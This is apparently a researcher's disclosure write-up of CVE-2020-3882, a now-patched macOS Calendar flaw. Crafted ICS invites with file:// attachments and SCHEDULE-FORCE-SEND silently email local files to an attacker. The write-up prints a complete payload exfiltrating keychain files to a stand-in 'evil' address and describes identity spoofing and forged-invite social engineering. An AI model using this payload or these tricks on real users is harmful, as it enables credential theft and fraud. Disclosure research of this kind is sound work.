tl;dr
Using a carefully crafted calendar event, an attacker can retrieve semi-arbitrary files from a target victim’s machine, all the victim has to do is click on the invite.
In an earlier post, I focused on event “open file” alerts and the “PROCEDURE” ACTION
of VALARM
components from the iCalendar specification. After the initial surprise of this feature existing in general, it appeared that it was implemented in a sensible and secure manner, with reasonable defaults and user interactions required to allow for abuse.
A bit more unexpected was how attachments for events are handled. Per the specification, an event can have URI-specified attachments, but when such an event is exported from Calendar, such as an attachment to an email or sent as a meeting invite, the files are embedded into the resultant ICS file. This makes sense—how else would the receiver get the attachments? However, an attacker can combine this behavior with a little-known specification directive in order to silently exfiltrate files from a user’s machine.
This issue, CVE-2020-3882, was mitigated by Apple in macOS 10.15.5 (May 2020).
How It Started
As noted in part 1, I started looking at Calendar events and the various event-related specifications (RFC 5545, née RFC 2445) due to a late night tweet. I walked through my process of investigating alerts, specifically the possibility of using Calendar’s “open file” alerts to execute code in a malicious context. One of the tangents I came across and looked at dealt with the possibility of attaching a file to the event.
The iCalendar specification defines an ATTACH
property for VEVENT
and VALARM
components. An attachment can be embedded within an ICS file as a Base64 encoded blob or specified by a URI. I found the ability to reference an attachment by URI interesting and investigated further. If I imported an event with a URI-based attachment, the target file would appear to be attached to the event in Calendar, but would never open and previewing the attachment did not work.
URI to Embedded
Over the course of my investigation, I used Calendar’s “Mail Event” context menu item to export the event for importing into another account. I was surprised when the attachment was there, and now working, in the newly imported event. Upon inspecting the ICS file created by Mail Event I discovered that Calendar embedded the target file! For example, an ICS file of
BEGIN:VCALENDAR BEGIN:VEVENT DTSTART:20200101T130000Z DTEND:20200101T140000Z SUMMARY:Example Event DESCRIPTION:This is an example event. ATTACH:file:///etc/hosts END:VEVENT END:VCALENDAR
will, when imported into Calendar and exported via Mail Event, contain an embedded copy of the hosts file of the system where the event was imported. The attachment’s name is obvious when viewing the event in Calendar and thus is not particularly subtle; plus, the user still needs to import the event, and then export and mail the event back to you—a user flow that is atypical in my experience. Maybe we can improve on this.
I attempted to reproduce this on iOS but the event sent back contained the file://
URI and not an embedded file.
Sending the File
In addition to procedure alerts, the iCalendar specification describes an “EMAIL” ACTION
for VALARM
. Since, as noted above, emailing the event resulted in the target file being included, I thought to use this to exfiltrate the event and its attachments with less user interaction.
Email alarm
With regard to importing an event via an ICS file, I found that an email alarm was treated the same as a procedure alarm by Calendar, triggering the same exact warning and preventing the alarm from importing. Using the subscription method from the previous post, I was able to have email alarms persist and trigger, but the emails did not include an ICS file of the event, just the event details themselves without attachments.
The specification also allows for an ATTACH
property for email alarms, but just as Calendar ignores the alarm’s DESCRIPTION
and SUMMARY
properties, it too ignores ATTACH
.
Meeting invites
Okay, so the email alert didn’t help us. What about meeting invites? Adding an attendee (or “invitee” as Calendar refers to them) results in an ICS file of the event being sent to the invited parties. These meeting invites and updates do include the target file embedded in the invite! Our attack is now: send our target an ICS file, they import it, and then convince them to invite us to the event, resulting in target files on the victim’s system being embedded in the invite we receive.
Instead of trying to social engineer our victim into inviting us to an event we sent them, we go back to the specification. An ICS file can establish who is the organizer and who the attendees are via the VENENT
properties ORGANIZER
and ATTENDEE
. I discovered that if ORGANIZER
is set to an email address associated with the current user’s “My Card” in the Contacts application, Calendar will treat it as an event organized by that user.
I set the organizer to be the target victim user and myself to be an attendee. When this event was imported, the organizer and attendee were correctly included, but no invite was sent at time of import. If the event was modified in Calendar, a prompt to notify attendees was displayed and, after agreeing, the invite with the target files was sent back to me. Great! But still too much user interaction.
This time the specifications didn’t seem to have what I was looking for, but after a closer look at the invite sent above, I noticed additions to my ATTENDEE
property that I hadn’t added and discovered there was a specification I hadn’t been looking at! RFC 6638, “Scheduling Extensions to CalDAV”, gave me this wonderful gem: SCHEDULE-FORCE-SEND
. FORCE. SEND. And yes, it does what it says on the tin.
Force sending an invite
Using SCHEDULE-FORCE-SEND
I was able to create an ICS file that described an event wherein my target user was the organizer (required for Calendar to send an invite after import) and I was an attendee, that included one or more attachments by file://
URI, and, when imported into Calendar, immediately sent (in the background) a meeting invite back to me that included the target user’s files embedded inside. The only user interaction required was for the victim to open the event in Calendar—such as by double-clicking it in an email. Or, in other words, a “1-click” file exfiltration.
Notably, while iOS would not embed files, it did honor the SCHEDULE-FORCE-SEND
extension and sent meeting invites as my victim user.
During my testing of this approach I encountered a few caveats:
- As mentioned above, for Calendar to treat the event as organized by the victim and send the invite, the
ORGANIZER
email address had to be associated with the “My Card” in Contacts. - This did not work if the event was imported into an Exchange calendar (but worked with “On My Mac” or iCloud calendars) even though the email was sent through my Exchange account.
- Some target files would be embedded while others would not. This is due to Calendar being a sandboxed application. Calendar can still access a number of sensitive files though, such as the user’s calendars, contacts, and keychains databases.
Stealth Considerations
Using this technique for data exfiltration is fairly low noise, being done all via email as meeting invites both in delivery and exfiltration, and thus does not result in atypical network traffic or destinations. But, if you inspect the event in Calendar you would still see the attacker’s name and email address and the target files being exfiltrated. I spent some time playing around with various ways to get around both of these situations, although with the force-send technique above these are less of a hindrance than they otherwise would have been as upon discovery it is already too late.
Spoofing an attendee’s identity
I managed to mask my identity inside the event, yet still receive the invite, using the CN
and EMAIL
parameters for ATTENDEE
. CN
will be the name displayed by Calendar as the attendee and EMAIL
will be the email address shown if you select the name for more details, “Send Email”, or “Add to Contacts”, but the value of the ATTENDEE
property is still where invites and updates are sent.
Hiding an attachment
I managed to avoid my exfiltration targets from being shown in the event by moving the attachment from the event to an alarm (remember ATTACH
is a valid property of VALARM
). Using a file URI attachment for an “AUDIO” alarm resulted in the target file being embedded when exporting the event from Calendar via the Mail Event feature; however, audio alarms were not included in meeting invites and thus this increase of stealth came at the cost of greater user interactions.
The Payload
Thus, the final ICS payload for Mallory to send to Bob to extract Bob’s login keychain and the system keychain from Bob’s macOS system, while hiding behind Alice’s identity, would look like this:
BEGIN:VCALENDAR BEGIN:VEVENT DTSTART:20210101T130000Z DTEND:20210101T140000Z SUMMARY:Example Event DESCRIPTION:This is an example event. ATTACH:file:///Library/Keychains/System.keychain ATTACH:file:///Users/bob/Library/Keychains/login.keychain-db ORGANIZER;CN="Bob":mailto:bob@victim.nccgroup.com ATTENDEE;CN="Alice";EMAIL="alice@victim.nccgroup.com"; SCHEDULE-FORCE-SEND=REQUEST:mailto:mallory@evil.nccgroup.trust END:VEVENT END:VCALENDAR
The Fix
After detailing the ability to exfiltrate files with minimal user interaction to Apple, they mitigated the issue in macOS 10.15.4. Calendar will no longer embed attachments with a file://
scheme when an event is imported. Also, additional checks were added when checking which files may be added as attachments to an event. Apple made further improvements in macOS 10.15.5 that addressed other avenues that could result in a file being embedded, such as network locations accessible from the current system.
At this time, support for SCHEDULE-FORCE-SEND
in Calendar is unchanged. With the removal of support for ATTACH
URIs, this no longer poses a direct security threat; however, it may still be abused. For example, an aggressive sales person could abuse it to get meetings with individuals they otherwise wouldn’t be able to. The sales person could target an executive assistant, set the assistant as the organizer and set themselves and the executive as attendees. The executive would see a meeting invite from their assistant and not some unknown external person and thus would be more likely to accept and join the meeting.
It could also possibly be abused in more malicious social engineering attacks. Since it works on iOS as well, an attacker could even target someone out of the office and thus wouldn’t attend the meeting to debunk the claims made by the attacker. Imagine a situation where you target a CFO on vacation such that they invite a finance person to a meeting with a “bank” executive, who then claims they need transfer details or other social engineering attack.
In general, the ability to forge a meeting invite from one person to arbitrary other people allows an attacker to exploit trust relationships to add credibility to their endeavor.
Conclusion
There was a warren’s worth of rabbit holes as I got going on looking at the iCalendar specification and what Apple’s Calendar application supports, and I had a blast venturing down a number of them. There are many different combinations of iCalendar components and properties, calendar type, and sharing method. I certainly did not look at them all and there’s plenty for others to explore, just take a look at (yet another specification) RFC 5546.